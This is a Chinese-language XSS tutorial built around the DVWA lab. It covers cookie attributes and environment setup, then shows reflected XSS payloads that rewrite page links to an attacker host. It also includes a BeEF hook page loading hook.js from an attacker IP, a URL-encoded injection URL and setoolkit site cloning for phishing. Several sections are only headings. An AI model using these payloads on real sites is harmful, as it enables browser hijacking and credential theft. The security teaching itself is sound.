目录
一、XSS跨站脚本攻击
1、Cookie 概述
参数
|
说明
|
必填
|
举例
|
name
|
cookie 的名字
|
是
|
使用
$_COOKIE['cookiename'] 调
用名为 cookiename 的
cookie。
|
value
|
cookie 的值,存放在客户端,不要存放敏感
数据
| 是 |
假定 name 是’
cookiename’,可以通过
$_COOKIE[‘cookiename’]
取得其值。
|
expire |
Cookie 过期的时间。这是个 Unix 时间
戳,即从 Unix 纪元开始的秒数。换而言之,
通常用 time() 函数再加上秒数来设定
cookie 的失效期。或者用 mktime()来实
现。
| 否 |
time()+86400*30 将设定
cookie 30 天后失效。如果未设
定,cookie 将会在会话结束后
(一般是浏览器关闭)失效。
|
path |
Cookie 在服务器端的有效路径。
|
如果该参数设为 '
/'的话,
cookie
就在整个 domain 内有
效,如果设为'/foo/',
cookie 就只在 domain 下的
/foo/目录
及其子目录内有效,例
如 /foo/bar/。默认值为设定
cookie 的当前目录。
| |
domain |
该 cookie 有效的域名。
| 否 | 要使 cookie 能在如 example.com 域名下的所有
子域都有效的话,该参数应该设
为 '
.example.com'。虽然 .
并不必须的,但加上它会兼容更
多的浏览器。如果该参数设为
www.example.com 的话,就
只在 www 子域内有效。
|
secure |
指明 cookie 是否仅通过安全的 HTTPS 连
接传送。当设成 TRUE 时,cookie 仅在安
全的连接中被设置。默认值为 FALSE。
|
否
| 0 或 1 |
httponly |
设为 true 后,只能通过 http 访问,
javascript 无法访问;防止 xss 读取
cookie;php5.2 以上版本已支持 HttpOnly
参数的设置,同样也支持全局HttpOnly 的
设置,在 php.ini 中,
session.cookie_httponly=ture 来开启全局
的 Cookie 的 HttpOnly 属性
|
否
|
setcookie(“abc”,
“test”,NULL, NULL, NULL,
NULL, TRUE)
|
2、使用 JavaScript 创建 Cookie
3、使用 JavaScript 读取 Cookie
4、使用 JavaScript 修改 Cookie
5、Cookie 字符串
二、XSS 跨站脚本攻击原理及 DVWA 靶机的搭建
1、学习环境搭建
(1)上传 DVWA 到主机
[root@localhost ~]# rz
[root@localhost ~]# unzip DVWA-master.zip -d /var/www/html/
[root@localhost ~]# chown apache:apache /var/www/html/DVWA-master/ -R
[root@localhost ~]# cd /var/www/html/DVWA-master/config/[root@localhost config]# cp config.inc.php.dist config.inc.php #基于模版配置文件,生成新的配置文件 config.inc.php[root@localhost config]# vim /var/www/html/DVWA-master/config/config.inc.php
改:21 $_DVWA[ 'db_password' ] = 'p@ssw0rd';为:21 $_DVWA[ 'db_password' ] = ' 123456 '; #只需要修改成你的 mysql 的 root 用户密码改:29 $_DVWA[ 'recaptcha_public_key' ] = '';30 $_DVWA[ 'recaptcha_private_key' ] = '';为:添加上谷歌开源免费验证码 reCAPTCHA 的公钥和私钥29 $_DVWA[ 'recaptcha_public_key' ] = ' 6LdK7xITAAzzAAJQTfL7fu6I0aPl8KHHieAT_yJg ';30 $_DVWA[ 'recaptcha_private_key' ] = ' 6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ ';

[root@localhost ~]# vim /etc/php.ini改:815 allow_url_include = Off为: allow_url_include = On[root@localhost config]# systemctl restart httpd

2、反射型 XSS 原理
我们来演示一下它的工作原理。这个功能类似一个留言板,输入信息后下面会增加对应的信息。
3、存储型 XSS 原理

再次刷新页面,还是可以弹出弹出 cookie 信息。
4、DOM 型 XSS 原理
三、实战-反射型 XSS 攻击劫持用户浏览器
1、构建反射型 XSS 攻击
<script>window.onload = function() {var link=document.getElementsByTagName("a");for(j = 0; j < link.length; j++) {link[j].href="http://www.wkxy25.top/ ";}}</script>
2、使用 beef 劫持用户浏览器
点击应用程序启动 beef
┌──(root💀kali)-[~]
└─# systemctl start apache2
└─# vim /var/www/html/hack.html<html><head><script src=' http://192.168.1.101:3000/hook.js '></script></head><body><h1> Hello </h1></body></html>
<script>window.onload = function() {var link=document.getElementsByTagName("a");for(j = 0; j < link.length; j++) {link[j].href=" http://192.168.1.101/hack.html ";}}</script>
master%2Fvulnerabilities%2Fxss_r%2F%3Fname%3D%3Cscript%3Ewindow.onload%20%3D%20function()%20%7Bvar%20link%3Ddocument.getElementsByTagName(%22a%22)%3Bfor(j%20%3D%200%3B%20j%20%3C%20link.length%3B%20j%2B%2B)%20%7B%0Alink%5Bj%5D.href%3D%22http%3A%2F%2F192.168.1.101%2Fhack.html%22%3B%7D%20%7D%20%3C%2Fscript%3E


四、实战-持久型 XSS 窃取用户信息
1、使用 setoolkit 克隆站点
选择 2 站点克隆


访问
从外观上来看和真实的站点并没有什么不同。
我们输入用户名密码进行登录试试。
我们可以看到页面又重新跳转回了站点。也就是真实站点中。